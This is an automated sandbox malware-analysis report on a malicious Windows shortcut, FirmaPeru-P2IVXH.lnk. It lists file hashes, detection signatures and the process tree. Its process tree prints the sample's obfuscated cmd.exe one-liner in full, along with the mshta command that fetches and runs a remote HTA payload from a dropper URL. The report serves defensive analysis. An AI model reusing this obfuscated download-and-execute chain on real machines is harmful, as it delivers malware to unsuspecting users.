Analysis
- max time kernel
60s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 22:12
Static task
static1
Behavioral task
behavioral1
Sample
FirmaPeru-P2IVXH.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
FirmaPeru-P2IVXH.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target FirmaPeru-P2IVXH.lnk
- Size 2KB
- Sample260831-14th5aae65
- SHA256 6c142336b366841f730484375588b5e7b8ce614000251dd0c592dbe24b30a538
- MD5 6d01fe6b09a3adf96fb4bf55157411e9
- SHA1 bd743df306c6476e3052447869c5e7804dac8346
- SHA512 d7feedd8e6c71f7a64d2f761c7d709cd37ba4be93d9c6ce8c4b669c1678e87700ef3cfbed8582c202e38dfb396dcff5f217db5e9bde46725e5df1c34fabe74e3
- TLSH T19C416B845EE905D5F2BBDE77DC7DA30188B778416C72C6CD0980824E5022701F973F26
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://m-firma.lat/h/estagio1.php?r=261A6CF54682
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4788 cmd.exe 616 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4788 wrote to memory of 616 4788 cmd.exe 91 PID 616 wrote to memory of 1868 616 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\FirmaPeru-P2IVXH.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set JV=tmpyxtcixcleaviptmp&set SST=5osqu8&&set PCf=dtaru8&&set chRq=746tu9r&set gXw=winsesbwin&set xWw=syszrnnewatjvatshdesys&set cKD=winadxfvwwin&set lLYU=infnwobwefanbwvydutrinf&set MiE=cfghhetsankfafcfg&set qYO=netouozcdljscrenet&set NaWt=kv8mph&&set vjs=l2shrb&&set dy=ftaav&set gaSvX=logqgdcczeyalmllplog&&set fAWe=h@tt@ps://@m-@[email protected]/@h/estag@[email protected]@p?@r=2@6@1A6@C@F@546@82&&start /b !NaWt:~3,1!!vjs:~2,2!!dy:~1,2! !fAWe:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\System32\mshta.exemshta https://m-firma.lat/h/estagio1.php?r=261A6CF546823⤵PID:1868
-
-